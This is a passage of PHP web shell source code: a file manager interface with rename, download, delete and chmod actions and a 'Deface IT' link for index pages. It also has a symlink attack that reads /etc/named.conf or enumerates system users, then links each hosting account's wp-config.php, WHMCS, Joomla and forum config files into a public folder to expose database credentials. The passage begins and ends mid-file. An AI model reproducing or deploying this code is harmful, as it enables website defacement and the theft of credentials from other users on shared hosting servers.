1051 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($val)); ?></font></td>
1052 <td></td><td></td><td></td></tr><?php continue;
1053 }
1054 else if(is_dir($vv))
1055 {
1056 ?>
1057 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'">
1058 <td class='dir'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')">[ <?php echo $val; ?> ]</a></td>
1059 <td class='info'><font size=2>DIR</font></td>
1060
1061 <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
1062 <?php if($os != 'Windows')
1063 {
1064 echo "<td align=center><font size=2>";
1065 echo getOGid($val)."</font></td>";
1066 } ?>
1067 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
1068 <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
1069 <td></td>
1070 <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
1071 </tr></font>
1072 <?php
1073 }
1074 else if(is_file($vv))
1075 {
1076 ?>
1077 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'">
1078 <td class='file'><a href=javascript:void(0) onClick="fileaction('open','<?php echo $vv; ?>')"><?php if(("/" .$val == $_SERVER["SCRIPT_NAME"]) || ($val == "index.php") || ($val == "index.html") || ($val == "config.php") || ($val == "wp-config.php")) { echo "<font color=red>". $val . "</font>"; } else { echo $val; } ?></a> <?php if($val == "index.php" || $val == "index.html") { if(strlen($ind) != 0) { echo "<a href=javascript:void(0) onClick=\"defacefun('$vv')\"><font color=red>( Deface IT )</font></a>"; } } ?></td>
1079
1080 <td class='info'><font size=2><?php echo HumanReadableFilesize(filesize($dir . $directorysperator . $val));?></font></td>
1081
1082 <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
1083
1084 <?php if($os != 'Windows')
1085 {
1086 echo "<td align=center><font size=2>";
1087 echo getOGid($val)."</font></td>";
1088 } ?>
1089 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
1090
1091 <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
1092 <td class="info"><a href="<?php echo $self;?>?download=<?php echo $dir . $directorysperator .$val;?>"><font size=2>Download</font></a>
1093 <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
1094 </tr>
1095 <p>
1096 <?php
1097 }
1098 }
1099
1100 echo "</table>
1101<div align='right' style='width:100%;' id=maindiv><BR><label><input type='checkbox' name='checkall' onclick='checkedAll();'> <font class=txt size=3>Check All </font></label>
1102<select class=sbox name=choice style='width: 100px;'>
1103 <option value=delete>Delete</option>
1104 <option value=chmod>Change mode</option>
1105 if(class_exists('ZipArchive'))
1106 { <option value=compre>Compress</option>
1107 <option value=uncompre>Uncompress</option> }
1108 </select>
1109
1110 <input type=button onClick=\"myaction(choice.value)\" value=Submit name=checkoption class=but></form></div>";
1111 }}
1112 else
1113 {
1114 echo "<p><font size=3>".$_GET['dir']." is <b>NOT</b> a Valid Directory!<br /></font></p>";
1115 }
1116
1117}
1118if(isset($_REQUEST["script"]))
1119{
1120 $getpath = trim(dirname($_SERVER['SCRIPT_NAME']) . PHP_EOL);
1121 ?>
1122 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('manuallyscript')"><font class=txt size="4">| Do It Manually |</font></a></td>
1123 <td><a href=javascript:void(0) onClick="getdata('scriptlocator')"><font class=txt size="4">| Do It Automatically |</font></a></td>
1124 </tr></table></center>
1125 <?php
1126}
1127else if(isset($_REQUEST['manuallyscript']))
1128{
1129 ?>
1130 <center>
1131 <form action="<?php echo $self; ?>" method="post">
1132 <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
1133 <input type="button" OnClick="manuallyscriptfn(passwd.value)" value="Get Config" class="but">
1134 </form>
1135 </center>
1136 <?php
1137}
1138else if(isset($_REQUEST['scriptlocator']))
1139{
1140 if(stristr(php_uname(),"Linux"))
1141 {
1142 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1143 $path=explode('/',$url);
1144 $url =str_replace($path[count($path)-1],'',$url);
1145 function syml($usern,$pdomain)
1146 {
1147 symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1148 symlink('/home/'.$usern.'/public_html/core/includes/config.php',$pdomain.'~~vBulletin5.txt');
1149 symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1150 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1151 symlink('/home/'.$usern.'/public_html/vb/core/includes/config.php',$pdomain.'~~vBulletin5.txt');
1152 symlink('/home/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1153 symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1154 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1155 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb1.txt');
1156 symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1157 symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1158 symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1159 symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1160 symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1161 symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1162 symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1163 symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1164 symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1165 symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1166 symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1167 symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1168 symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1169 symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1170 symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1171 symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1172 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1173 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1174 symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1175 symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1176 symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1177 symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1178 symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1179 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1180 symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1181 symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1182 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1183 symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1184 symlink('/home2/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1185 symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1186 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1187 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb2.txt');
1188 symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1189 symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1190 symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1191 symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1192 symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1193 symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1194 symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1195 symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1196 symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1197 symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1198 symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1199 symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1200 symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1201 symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1202 symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1203 symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1204 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1205 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1206 symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1207 symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1208 symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1209 symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1210 symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1211 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1212 symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1213 symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1214 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1215 symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1216 symlink('/home3/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1217 symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1218 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1219 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb3.txt');
1220 symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1221 symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1222 symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1223 symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1224 symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1225 symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1226 symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1227 symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1228 symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1229 symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1230 symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1231 symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1232 symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1233 symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1234 symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1235 symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1236 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1237 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1238 symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1239 symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1240 symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1241 symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1242 symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1243 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1244 symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1245 symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1246 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1247 symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1248 symlink('/home4/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1249 symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1250 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1251 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb4.txt');
1252 symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1253 symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1254 symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1255 symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1256 symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1257 symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1258 symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1259 symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1260 symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1261 symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1262 symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1263 symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1264 symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1265 symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1266 symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1267 symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1268 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1269 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1270 symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1271 symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1272 symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1273 symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1274 symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1275 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1276 symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1277 symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1278 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1279 symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1280 symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1281 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1282 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb5.txt');
1283 symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1284 symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1285 symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1286 symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1287 symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1288 symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1289 symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1290 symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1291 symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1292 symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1293 symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1294 symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1295 symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1296 symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1297 symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1298 symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1299 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1300 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1301 symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1302 symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1303 symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1304 symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1305 symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1306 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1307 symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1308 symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1309 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1310 symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1311 symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1312 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1313 symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1314 symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1315 symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1316 symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1317 symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1318 symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1319 symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1320 symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1321 symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1322 symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1323 symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1324 symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1325 symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1326 symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1327 symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1328 symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1329 symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1330 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1331 symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1332 symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1333 symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1334 symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1335 symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1336 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1337 symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1338 symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1339 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1340 symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1341 symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1342 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1343 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb7.txt');
1344 symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1345 symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1346 symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1347 symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1348 symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1349 symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1350 symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1351 symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1352 symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1353 symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1354 symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1355 symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1356 symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1357 symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1358 symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1359 symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1360 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1361 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1362 symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1363 symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1364 symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1365 symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1366 symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1367 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1368 }
1369 if(isset($_REQUEST['passwd']))
1370 {
1371 $getetc = trim($_REQUEST['passwd']);
1372
1373 mkdir("dhanushSPT");
1374 chdir("dhanushSPT");
1375
1376 $myfile = fopen("test.txt","w");
1377 fputs($myfile,$getetc);
1378 fclose($myfile);
1379
1380 $file = fopen("test.txt", "r") or exit("Unable to open file!");
1381 while(!feof($file))
1382 {
1383 $s = fgets($file);
1384 $matches = array();
1385 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1386 $matches = str_replace("home/","",$matches[1]);
1387 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1388 continue;
1389 syml($matches,$matches);
1390 }
1391 fclose($file);
1392 unlink("test.txt");
1393 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1394 echo "<br><center><a href=".$url."dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1395
1396 }
1397 else
1398 {
1399 $d0mains = @file("/etc/named.conf");
1400 if($d0mains)
1401 {
1402 mkdir("dhanushST");
1403 chdir("dhanushST");
1404
1405 foreach($d0mains as $d0main)
1406 {
1407 if(eregi("zone",$d0main))
1408 {
1409 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1410 flush();
1411
1412 if(strlen(trim($domains[1][0])) > 2)
1413 {
1414 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1415
1416 syml($user['name'],$domains[1][0]);
1417 }
1418 }
1419 }
1420 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1421 echo "<br><center><a href=".$url."dhanushST target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1422 }
1423 else
1424 {
1425 mkdir("dhanushSPT");
1426 chdir("dhanushSPT");
1427 $temp = "";
1428 $val1 = 0;
1429 $val2 = 1000;
1430 for(;$val1 <= $val2;$val1++)
1431 {
1432 $uid = @posix_getpwuid($val1);
1433 if ($uid)
1434 $temp .= join(':',$uid)."\n";
1435 }
1436 echo '<br/>';
1437 $temp = trim($temp);
1438
1439 $file5 = fopen("test.txt","w");
1440 fputs($file5,$temp);
1441 fclose($file5);
1442
1443
1444 $file = fopen("test.txt", "r") or exit("Unable to open file!");
1445 while(!feof($file))
1446 {
1447 $s = fgets($file);
1448 $matches = array();
1449 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1450 $matches = str_replace("home/","",$matches[1]);
1451 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1452 continue;
1453 syml($matches,$matches);
1454 }
1455 fclose($file);
1456 echo "</table>";
1457 unlink("test.txt");
1458 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1459 echo "<br><center><a href=".$url."dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1460 }
1461 }
1462 }
1463 else
1464 echo "<center>Cannot Complete the task!!!!</center>";
1465
1466}
1467else if(isset($_GET["symlinkfile"]))
1468{
1469 if(!isset($_GET['file']))
1470 {
1471 ?>
1472 <center>
